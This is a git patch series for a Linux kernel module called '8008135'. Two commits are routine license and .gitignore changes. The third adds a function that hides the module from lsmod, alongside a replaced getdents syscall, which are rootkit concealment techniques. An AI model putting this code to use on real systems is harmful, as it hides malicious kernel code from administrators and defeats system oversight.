From d0b748a6f7960af7dc0f3c8258effa4cf490f3fb Mon Sep 17 00:00:00 2001 From: valentin lechner <2909278-valentin_lechner@users.noreply.gitlab.com> Date: Tue, 19 Nov 2019 13:02:24 +0000 Subject: [PATCH 1/3] Applying gplv3 template --- LICENSE | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/LICENSE b/LICENSE index 566f141..6b60125 100644 --- a/LICENSE +++ b/LICENSE @@ -1,7 +1,7 @@ -GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 - Copyright (C) 2007 Free Software Foundation, Inc. + Copyright (C) 2007 Free Software Foundation, Inc. Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. @@ -631,8 +631,8 @@ to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the "copyright" line and a pointer to where the full notice is found. - - Copyright (C) + 8008135 + Copyright (C) 2019 jan koerner enterprises This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by @@ -645,14 +645,14 @@ the "copyright" line and a pointer to where the full notice is found. GNU General Public License for more details. You should have received a copy of the GNU General Public License - along with this program. If not, see . + along with this program. If not, see . Also add information on how to contact you by electronic and paper mail. If the program does terminal interaction, make it output a short notice like this when it starts in an interactive mode: - Copyright (C) + 8008135 Copyright (C) 2019 jan koerner enterprises This program comes with ABSOLUTELY NO WARRANTY; for details type `show w'. This is free software, and you are welcome to redistribute it under certain conditions; type `show c' for details. @@ -664,11 +664,11 @@ might be different; for a GUI interface, you would use an "about box". You should also get your employer (if you work as a programmer) or school, if any, to sign a "copyright disclaimer" for the program, if necessary. For more information on this, and how to apply and follow the GNU GPL, see -. +. The GNU General Public License does not permit incorporating your program into proprietary programs. If your program is a subroutine library, you may consider it more useful to permit linking proprietary applications with the library. If this is what you want to do, use the GNU Lesser General Public License instead of this License. But first, please read -. +. From 4f9a5c51435c4305bada0afadc4e32b8e4702412 Mon Sep 17 00:00:00 2001 From: Jan Koerner Date: Sun, 1 Dec 2019 17:28:03 +0100 Subject: [PATCH 2/3] Updated .gitignore --- .gitignore | 1 + 1 file changed, 1 insertion(+) diff --git a/.gitignore b/.gitignore index 99252c1..8359f9d 100644 --- a/.gitignore +++ b/.gitignore @@ -15,3 +15,4 @@ sysgen.h *.order .tmp_versions/ *.cmd +.vscode/ \ No newline at end of file From cbe0fabcea796623944faa83bd8f20e88f4f5503 Mon Sep 17 00:00:00 2001 From: Jan Koerner Date: Sun, 1 Dec 2019 23:40:43 +0100 Subject: [PATCH 3/3] Modul verstecken implementiert --- src/8008135.c | 15 +++++++++++++++ 1 file changed, 15 insertions(+) diff --git a/src/8008135.c b/src/8008135.c index cf253f5..1cd7551 100644 --- a/src/8008135.c +++ b/src/8008135.c @@ -83,6 +83,18 @@ asmlinkage long sys_getdents_new(unsigned int fd, return ret; } + +/*** FUNCTION **************************************************************** +* NAME: hide_module +* DESCRIPTION: hides the module from lsmod +* PARAMETERS: - +* RETURNS: +*******************************************************************************/ +void hide_module(void){ + list_del(&THIS_MODULE->list); +} + + /*** FUNCTION **************************************************************** * NAME: 8008135_init * DESCRIPTION: initializing Kernel Module @@ -108,6 +120,9 @@ static int __init init_8008135(void) { printk(KERN_INFO "New syscall in place\n"); + hide_module(); + printk(KERN_INFO "Module hidden"); + return 0; }